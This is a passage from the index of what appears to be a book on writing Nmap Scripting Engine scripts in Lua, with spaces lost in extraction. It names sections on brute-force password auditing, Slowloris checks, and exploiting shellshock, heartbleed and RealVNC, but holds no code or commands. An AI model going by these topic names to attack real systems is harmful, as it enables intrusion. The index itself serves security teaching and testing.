URL,forofficialdocumentation/http-devframework-fingerprints.luahttp-enumdatabase/http-enumdatabasehttp-enumscript
URL,forofficialdocumentation/http-fingerprints.luahttp-fingerprints.luafile
about/http-fingerprints.luahttp-folders.txtfile
about/http-folders.txthttp-iis-webdav-vulnscript
URL,forofficialdocumentation/http-folders.txthttp-slowloris-checkscript/Detectingwebserversvulnerabletoslowdenial-of-serviceattacks
http-slowlorisNSEexploitURL/ConsumingTCPconnectionswithNSE
http-slowlorisscript/Detectingwebserversvulnerabletoslowdenial-of-serviceattackshttp-sql-errors.lstfile
about/http-sql-errors.lsthttp-sql-injectionscript
URL,forofficialdocumentation/http-sql-errors.lsthttp-vhostsscript
URL,forofficialdocumentation/vhosts-default.lsthttp-web-files-extensions.lstfile
about/http-web-files-extensions.lsthttp-wordpress-pluginsscript
URL,forofficialdocumentation/wp-plugins.lsthttpNSElibrary
about/httpURL/http
II/Ooperations,Lua
about/I/Ooperationsfilemodes/Modesfile,opening/Openingafilefile,reading/Readingafilefile,writing/Writingafilefile,closing/Closingafile
if-thenconditionalstatementabout/Conditionalstatements–if-then,else,andelseif
ike-fingerprints.luafileabout/ike-fingerprints.lua
ike-versionscriptURL,forofficialdocumentation/ike-fingerprints.lua
indexes,Lua/Indexesinformationgathering,NSEscripts
about/Information-gatheringUPNPinformation,collecting/CollectingUPNPinformationhostnames,findingforresolvingsameIPaddress/FindingallhostnamesresolvingtothesameIPaddress
installation,Nmap/InstallingNmapio.closefunction/Closingafileio.openfunction/Openingafileio.readfunction/Readingafileio.writefunction/Writingafileipairs()function
about/Loops–forip_send()method/Sendingpacketsto/fromIPandEthernetlayers
JJavaDebugWireProtocoldatafiles
about/JavaDebugWireProtocoldatafilesJDWPExecCmd.java/JDWPExecCmd.javaJDWPSystemInfo.class/JDWPSystemInfo.class
JDWPExecCmd.javafileabout/JDWPExecCmd.java
JDWPSystemInfo.classabout/JDWPSystemInfo.class
LLibpcap
URL/WorkingwithNSEsocketslinkedlists
about/LinkedlistsLua
concepts/QuicknotesaboutLuaparallelismmechanism/ParallelismmechanismsinLua
Lua,conceptscomments/Commentsdummyassignments/Dummyassignmentsindexes/Indexessemantics/Semanticscoercion/CoercionBooleans/Booleansflowcontrolstructures/Flowcontrolstructures,Loops–repeat,Loops–fordatatypes/Datatypesstringhandling/Stringhandlingcommondatastructures/Commondatastructurescustomdatastructures/CustomdatastructuresI/Ooperations/I/Ooperationscoroutine/Coroutinesmetatables/Metatablesandmetamethodsmetamethods/Metatablesandmetamethods
Mmagiccharacters
about/Magiccharactersmastering-nse.com
URL/Usernamedictionariesmetamethods,Lua
about/Metatablesandmetamethodsarithmeticmetamethods/Arithmeticmetamethodsrelationalmetamethods/Relationalmetamethods
mikrotik-routeros-brutescriptURL/WritinganNSEscripttolaunchpassword-auditingattacksagainsttheMikroTikRouterOSAPI
MikroTikRouterOSAPIbrute-forcepasswordauditingattacks,scriptingagainst/WritinganNSEscripttolaunchpassword-auditingattacksagainsttheMikroTikRouterOSAPI
modbus-discoverscriptabout/NSEscript–modbus-discover
msrpclibrariesdocumentation,URL/DetectingvulnerableWindowssystems
mutexesabout/Mutexescreating/Mutexes
mygroupnames.dbfileabout/mygroupnames.db
mysql-auditscript/DetectinginsecureMySQLserverconfigurationsURL,forofficialdocumentation/mysql-cis.audit
mysql-brutescript/Brute-forcingMySQLpasswordsmysql-cis.auditfile
about/mysql-cis.auditmysql-vuln-cve2012-2122.nsescript
URL/ExceptionhandlinginNSEscripts
NnetworkI/O
about/UnderstandingadvancednetworkI/Osocket,openingforrawpacketcapture/Openingasocketforrawpacketcapturerawpackets,receiving/Receivingrawpacketspackets,sendingto/fromIP/Sendingpacketsto/fromIPandEthernetlayerspackets,sendingto/fromEthernetlayers/Sendingpacketsto/fromIPandEthernetlayers
newscriptsadding/Addingnewscripts
Nmapinstalling/InstallingNmapURL,fordownloading/InstallingNmapbuilding,fromsourcecode/BuildingNmapfromsourcecodeworkingcopy,updating/KeepingNmapuptodateURL/ApplicationsofNSEscriptsparallelismoptions/ParallelismoptionsinNmap
Nmap’slicenseURL,fordocumentation/License
nmap-service-probesfileabout/TakingacloserlookatthefileformatURL/Takingacloserlookatthefileformatdirectivedocumentation,URL/Takingacloserlookatthefileformat
nmap.mutex()function/Mutexesnmap.new_dnet()method/Sendingpacketsto/fromIPandEthernetlayersnmap.new_socket()function
protocol/CreatinganNSEsocketaf/CreatinganNSEsocket
NmapAPIaccesing/AccessingtheNmapAPINSEarguments/NSEargumentsexceptionhandling/ExceptionhandlinginNSEscripts
Nmapdatafilesreferences/OtherNmapdatafiles
Nmapdistributionabout/Othertemplatesonline
Nmapdistribution,templatesURL,fordownloading/Othertemplatesonline
NmapFingerprintSubmitterURL/Updatingtheversionprobesdatabase
nmaplibrariesURL/XMLstructuredoutput
NSEandscanphases/ScanphasesandNSEversiondetectionmode/UnderstandingversiondetectionmodeinNSEabout/NmapScriptingEngineparallelismmechanisms/ParallelismmechanismsinNSEused,forconsumingTCPconnections/ConsumingTCPconnectionswithNSE
NSEargumentshosttable/Hosttableporttable/Porttable
NSEdatafilesabout/OtherNSEdatafilesmygroupnames.db/mygroupnames.dbrtsp-urls.txt/rtsp-urls.txtsnmpcommunities.lst/snmpcommunities.lstssl-ciphers/ssl-ciphersssl-fingerprints/ssl-fingerprintsike-fingerprints.lua/ike-fingerprints.luatftplist.txt/tftplist.txt
NSElibrariesabout/WritingNSElibraries,ExploringotherpopularNSElibrariescreating/WritingNSElibrariesfunctionality,extending/ExtendingthefunctionalityofanNSElibrarybruteNSElibrary/ExtendingthefunctionalityofanNSElibraryNSEmodules,writteninC/C++/NSEmodulesinC/C++URL,fordocumentation/NSEmodulesinC/C++stdnse/stdnseopenssl/openssltarget/targetshortport/shortportcreds/credsvulns/vulns
NSEmoduleswritteninC/C++/NSEmodulesinC/C++
NSEregistryabout/TheNSEregistry
NSEscriptargumentsabout/NSEscriptargumentsloading,fromfile/Loadingscriptargumentsfromafile
NSEscriptsrunning/RunningNSEscriptscategories/Scriptcategoriesselecting/NSEscriptselectionselecting,byscriptname/Selectingbyscriptnameorcategoryselecting,bycategory/Selectingbyscriptnameorcategory
selecting,byfilename/Selectingbyfilenameorfolderselecting,byfolder/Selectingbyfilenameorfolderselecting,withexpressions/Advancedscriptselectionwithexpressionsexecution,forcing/ForcingtheexecutionofNSEscriptsdebugging/DebuggingNSEscriptsrules/NSEscriptrulesapplications/ApplicationsofNSEscriptsfields/UnderstandingthestructureofanNSEscriptexample/AsampleNSEscriptvulnslibrary,using/UsingthevulnslibraryinyourNSEscripts
NSEscripts,fieldsdescription/UnderstandingthestructureofanNSEscriptcategories/UnderstandingthestructureofanNSEscriptaction/UnderstandingthestructureofanNSEscriptexecutionrule/UnderstandingthestructureofanNSEscript
NSEscripts,optionalfieldsauthor/Authorlicense/Licensedependencies/Dependencies
NSEsocketsabout/WorkingwithNSEsocketscreating/CreatinganNSEsocketused,forconnectingtohost/ConnectingtoahostusingNSEsocketsused,forsendingdata/SendingdatausingNSEsocketsused,forreceivingdata/ReceivingdatausingNSEsocketsclosing/ClosingNSEsocketspayloadstoredinfile,sending/Examplescript–sendingapayloadstoredinafileoveraNSEsocketandrawpacket,handling/RawpackethandlingandNSEsockets
NSEthreadsabout/NSEthreadsconditionvariables/Conditionvariablesmutexes/Mutexes
OOpenSSL
URL/SSLopensslNSElibrary
about/opensslURL/openssl
oracle-default-accounts.lstfileabout/oracle-default-accounts.lst
oracle-default-accountsscriptURL,forofficialdocumentation/oracle-default-accounts.lst
oracle-sid-brutescriptURL,forofficialdocumentation/oracle-sids
oracle-sidsfileabout/oracle-sids
output,NSEscriptsNmapstructuredoutput/OutputformatsandNmapScriptingEngineXMLstructuredoutput/OutputformatsandNmapScriptingEngine,XMLstructuredoutputverbositymessages,printing/Printingverbositymessagesdebugginginformation,including/Includingdebugginginformationgrepableoutputformat,limitations/TheweaknessofthegrepableformatHTMLreport,generating/NSEscriptoutputintheHTMLreport
Ppack()method/Packingandunpackingbinarydatapacketlibrary
URL/BuildingEthernetframespackets
sending,to/fromIP/Sendingpacketsto/fromIPandEthernetlayerssending,to/fromEthernetlayers/Sendingpacketsto/fromIPandEthernetlayers
pairs()iteratorfunctionabout/Loops–for
parallelismmechanism,Luacoroutines/Coroutines
parallelismmechanisms,NSEabout/ParallelismmechanismsinNSENSEthreads/NSEthreads
parallelismoptions,Nmapabout/ParallelismoptionsinNmapmultiplehosts,scanningsimultaneously/Scanningmultiplehostssimultaneouslysendprobecount,increasing/Increasingthenumberofprobessenttimingtemplates/Timingtemplates
password-auditing,NSEscriptsabout/PasswordauditingBrute-forcingMySQLpasswords/Brute-forcingMySQLpasswordsBrute-forcingSMTPpasswords/Brute-forcingSMTPpasswords
passworddictionariesabout/Passworddictionaries
passwordlistsreading,withunpwdbNSElibrary/ReadingusernamesandpasswordlistswiththeunpwdbNSElibrary
passwords.lstfile/Passworddictionariespatterns
about/Patternscaptures/Capturesrepetitionoperators/Repetitionoperators
pcap_openmethoddeviceparameter/Openingasocketforrawpacketcapturesnaplenparameter/Openingasocketforrawpacketcapturepromiscparameter/Openingasocketforrawpacketcapturebpfparameter/Openingasocketforrawpacketcapture
portrules,versiondetectionscriptdefining/Definingtheportruleofaversiondetectionscript
porttable,NSEarguments
port.numberfield/Porttableport.protocolfield/Porttableabout/Porttableport.servicefield/Porttableport.versionfield/Porttableport.statefield/Porttable
portversioninformationupdating/Updatingtheportversioninformationmatchconfidencelevel,setting/Settingthematchconfidencelevel
post-processorsabout/Gettingtoknowpost-processorsNSE/NmapScriptingEngineSSL/SSL
Qqueues
about/Queues
RRapidSVN
about/BuildingNmapfromsourcecodeURL/BuildingNmapfromsourcecode
rawpacketssocket,openingfor/Openingasocketforrawpacketcapturereceiving/Receivingrawpacketsmanipulating/Manipulatingrawpacketsbinarydata,unpacking/Packingandunpackingbinarydatabinarydata,packing/PackingandunpackingbinarydataEthernetframes,building/BuildingEthernetframeshandling/RawpackethandlingandNSEsocketsandNSEsockets/RawpackethandlingandNSEsockets
RealVNCexploiting/ExploitingRealVNC
receive_buf()methodabout/ReceivingdatausingNSEsocketsdelimiterparameter/ReceivingdatausingNSEsocketskeeppatternparameter/ReceivingdatausingNSEsockets
relationalmetamethodsabout/Relationalmetamethods__eq/Relationalmetamethods__lt/Relationalmetamethods__le/Relationalmetamethods
repeatloopabout/Loops–repeat
repetitionoperatorsabout/Repetitionoperators
rpc-grindscript/NSEscript–rpc-grindrpcGrinderfunction/Conditionvariablesrtsp-url-brutescript
URL,forofficialdocumentation/rtsp-urls.txtrtsp-urls.txtfile
about/rtsp-urls.txtrules,NSEscripts
prerule()/NSEscriptrulespostrule()/NSEscriptrulesportrule(host,port)/NSEscriptruleshostrule()/NSEscriptrules
runningfunction/Mutexes
S—script-argsNmapoption/NSEscriptarguments—scriptoption/NSEscriptselectionsafecategory,NSEscripts
banner/RunningNSEscriptsbroadcast-ping/RunningNSEscriptsdns-recursion/RunningNSEscriptsupnp-info/RunningNSEscriptsfirewalk/RunningNSEscripts
safelanguage,Lua/SafelanguageSameOriginPolicy(SOP)
about/NSEscriptoutputintheHTMLreportscannedports
excluding,fromversiondetection/Excludingscannedportsfromversiondetection
scanphasesandNSE/ScanphasesandNSE
scriptURL/Examplescript–sendingapayloadstoredinafileoveraNSEsocket
semantics,Lua/Semanticsservicedetectionmode
enabling/UnderstandingversiondetectionmodeinNSEsetmetatablefunction/Relationalmetamethodssets
about/Setsset_port_version()function
about/Updatingtheportversioninformation,NSEscript–ventrilo-infoshellshock
exploiting,inwebapplications/ExploitingshellshockinwebapplicationsURL/Exploitingshellshockinwebapplications
shortportNSElibraryabout/shortporthttpfunction/shortportport_or_servicefunction/shortportportnumberfunction/shortportURL/shortport,Definingtheportruleofaversiondetectionscript
SlaveIDs(SIDs)/NSEscript–modbus-discoverSlowloris
URL/Detectingwebserversvulnerabletoslowdenial-of-serviceattacksSlowlorisvulnerability
URL/ConsumingTCPconnectionswithNSEsmblibraries
documentation,URL/DetectingvulnerableWindowssystems
smtp-brutescript/Brute-forcingSMTPpasswordssnmpcommunities.lstfile
about/snmpcommunities.lstsoftmatch/Phasesofversiondetectionsourcecode
Nmap,buildingfrom/BuildingNmapfromsourcecodeSSL
about/SSLssl-ciphersfile
about/ssl-ciphersssl-enum-ciphersscript
URL,forofficialdocumentation/ssl-ciphersssl-fingerprintsfile
about/ssl-fingerprintsssl-known-keyscript
URL,forofficialdocumentation/ssl-fingerprintsstdnse.base()method/Workingwithcoroutinesstdnse.get_script_args()function/NSEscriptargumentsstdnse.new_thread()function/NSEthreadsstdnseNSElibrary
URL/WritingNSElibraries,stdnse,XMLstructuredoutputabout/stdnsestdnse.get_script_argsfunction/stdnsestdnse.debugfunction/stdnsestdnse.verbosefunction/stdnsestdnse.strjoinfunction/stdnsestdnse.strsplitfunction/stdnseverbose()function/Printingverbositymessages
stringhandling,Luaabout/Stringhandlingcharacterclasses/Characterclassesmagiccharacters/Magiccharacterspatterns/Patternsconcatenation/Concatenationsubstrings,finding/Findingsubstringsstringrepetition/Stringrepetitionstringlength,determining/Stringlengthstrings,formatting/Formattingstringsstrings,joining/Splittingandjoiningstringsstrings,splitting/Splittingandjoiningstrings
stringlengthdetermining/Stringlength
stringrepetition/Stringrepetitionstrings
formatting/Formattingstringsjoining/Splittingandjoiningstringssplitting/Splittingandjoiningstrings
substringsfinding/Findingsubstrings
SupervisoryControlAndDataAcquisition(SCADA)/NSEscript–modbus-discover
Ttables
about/TablestargetNSElibrary
about/targetURL/target
targets-snifferscript/ListeningtoyourLANtodiscovertargetsTCPconnections
consuming,withNSE/ConsumingTCPconnectionswithNSEtftp-enumscript
URL,forofficialdocumentation/tftplist.txttftplist.txtfile
about/tftplist.txttimingtemplates
about/Timingtemplatestlslibrary
URL/Exploitingtheinfamousheartbleedvulnerability
UunpwdbNSElibrary
used,forreadingusernames/ReadingusernamesandpasswordlistswiththeunpwdbNSElibraryused,forreadingpasswordlists/ReadingusernamesandpasswordlistswiththeunpwdbNSElibraryabout/ReadingusernamesandpasswordlistswiththeunpwdbNSElibraryusernames()function/ReadingusernamesandpasswordlistswiththeunpwdbNSElibrarypasswords()function/ReadingusernamesandpasswordlistswiththeunpwdbNSElibraryURL/ReadingusernamesandpasswordlistswiththeunpwdbNSElibrary
usercredentialsmanaging,withcredsNSElibrary/Managingusercredentialsfoundduringscans
usernamedictionariesabout/Usernamedictionaries
usernamesreading,withunpwdbNSElibrary/ReadingusernamesandpasswordlistswiththeunpwdbNSElibrary
usernames.lstfile/Usernamedictionaries
Vventrilo-infoscript/NSEscript–ventrilo-infoverbose()function
levelargument/Printingverbositymessagesfmtargument/Printingverbositymessages
verbositymessagesprinting,inNSEscriptoutput/Printingverbositymessages
VersionControlSystem(VCS)/BuildingNmapfromsourcecodeversiondetectionmode,NSE
about/UnderstandingversiondetectionmodeinNSEphases/Phasesofversiondetectionraritylevel,adjustingofversionscan/Adjustingtheraritylevelofaversionscanversionprobesdatabase,updating/Updatingtheversionprobesdatabasescannedports,excluding/Excludingscannedportsfromversiondetectionmatching,withfallbacks/Usingfallbackstomatchotherversionprobespost-processors/Gettingtoknowpost-processors
versiondetectionscanphases/Phasesofversiondetectionraritylevel,adjusting/Adjustingtheraritylevelofaversionscanscannedports,excluding/Excludingscannedportsfromversiondetection
versiondetectionscriptswriting/Writingyourownversiondetectionscriptscategory,defining/Definingthecategoryofaversiondetectionscriptportrule,defining/Definingtheportruleofaversiondetectionscriptportversioninformation,updating/Updatingtheportversioninformationexamples/Examplesofversiondetectionscriptsmodbus-discoverscript/NSEscript–modbus-discoverventrilo-infoscript/NSEscript–ventrilo-inforpc-grindscript/NSEscript–rpc-grind
versionprobesmatching,withfallbacks/Usingfallbackstomatchotherversionprobes
versionprobesdatabaseupdating/UpdatingtheversionprobesdatabaseURL/Updatingtheversionprobesdatabasefileformat/Takingacloserlookatthefileformat
version_port_or_service()function/Definingtheportruleofaversiondetectionscriptvhosts-default.lstfile
about/vhosts-default.lstvulnerability
reporting/Reportingvulnerabilitiesvulnerabilityscanning
about/Vulnerabilityscanning
exploitNSEcategory/TheexploitNSEcategoryRealVNC,exploiting/ExploitingRealVNCvulnerableWindowssystems,detecting/DetectingvulnerableWindowssystemsinfamousheartbleedvulnerability,exploiting/Exploitingtheinfamousheartbleedvulnerabilityshellshockinwebapplications,exploiting/Exploitingshellshockinwebapplications
vulnerabilityscanning,NSEscriptsinsecureMySQLserverconfigurations,detecting/DetectinginsecureMySQLserverconfigurationswebservers,detectingvulnerabletoslowdenial-of-serviceattacks/Detectingwebserversvulnerabletoslowdenial-of-serviceattacksSSLservers,detectingvulnerabletoCVE-2014-3566/DetectingSSLserversvulnerabletoCVE-2014-3566
vulnslibraryusing,inNSEscripts/UsingthevulnslibraryinyourNSEscriptsURL/UsingthevulnslibraryinyourNSEscripts
vulnsNSElibraryabout/vulnsURL/vulns
Wwebapplicationauditingdatafiles
about/Webapplicationauditingdatafileshttp-fingerprints.lua/http-fingerprints.luahttp-sql-errors.lst/http-sql-errors.lsthttp-web-files-extensions.lst/http-web-files-extensions.lsthttp-devframework-fingerprints.lua/http-devframework-fingerprints.luahttp-folders.txt/http-folders.txtvhosts-default.lst/vhosts-default.lstwp-plugins.lst/wp-plugins.lst
webapplicationsshellshock,exploiting/Exploitingshellshockinwebapplications
whileloopabout/Loops–while
WindowssystemsvulnerableWindowssystems,detecting/DetectingvulnerableWindowssystems
wp-plugins.lstfileabout/wp-plugins.lst
XXMLstructuredoutput
example/OutputformatsandNmapScriptingEngineabout/XMLstructuredoutputimplementing/Implementingstructuredoutputinyourscripts
xpathsyntaxURL/Theweaknessofthegrepableformat